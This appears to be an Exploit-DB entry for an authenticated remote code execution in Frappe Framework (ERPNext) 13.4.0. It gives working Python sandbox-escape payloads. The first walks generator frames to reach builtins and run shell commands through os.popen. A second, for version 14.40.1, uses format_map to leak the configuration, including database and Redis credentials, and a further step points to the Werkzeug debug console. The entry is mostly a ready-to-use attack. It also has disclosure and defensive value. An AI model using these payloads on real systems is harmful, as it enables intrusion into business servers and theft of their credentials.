Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution (Authenticated)

EDB-ID:
51580

CVE:
N/A

EDB Verified: ×

Author:
SANDER FERDINAND

Type:
WEBAPPS

Exploit: / {}

Platform:
PYTHON

Date:
2023-07-11

Vulnerable App:

```
# Exploit Title: Frappe Framework (ERPNext) 13.4.0 - Remote Code Execution
(Authenticated)
# Exploit Author: Sander Ferdinand
# Date: 2023-06-07
# Version: 13.4.0
# Vendor Homepage: http://erpnext.org
# Software Link: https://github.com/frappe/frappe/
# Tested on: Ubuntu 22.04
# CVE : none

Silly sandbox escape.

> Frappe Framework uses the RestrictedPython library to restrict access to
methods available for server scripts.

Requirements:
- 'System Manager' role (which is not necessarily the admin)
- Server config `server_script_enabled` set to `true` (likely)

Create a new script over at `/app/server-script`, set type to API, method
to 'lol' and visit `/api/method/lol` to execute payload.

```python3
hax = "echo pwned > /tmp/pwned"
g=({k:v('os').popen(hax).read() for k,v in
g.gi_frame.f_back.f_back.f_back.f_builtins.items() if 'import' in
k}for x in(0,))
for x in g:0
```

Context:
- https://ur4ndom.dev/posts/2023-07-02-uiuctf-rattler-read/
- https://gist.github.com/lebr0nli/c2fc617390451f0e5a4c31c87d8720b6
- https://frappeframework.com/docs/v13/user/en/desk/scripting/server-script
-
https://github.com/frappe/frappe/blob/v13.4.0/frappe/utils/safe_exec.py#L42

Bonus:

More recent versions (14.40.1 as of writing) block `gi_frame` but there is
still a read primitive to escape the sandbox via `format_map`:

```python3
hax = """
{g.gi_frame.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_back.f_
""".strip()

g=(frappe.msgprint(hax.format_map({'g': g}))for x in(0,))
for x in g:0
```

Which prints the Frappe config like database/redis credentials, etc.

In the unlikely case that Werkzeug is running with `use_evalex`, you may
use the above method to retreive the werkzeug secret PIN, then browse to
`/console` (or raise an exception) for RCE.
```

Tags:

Advisory/Source: Link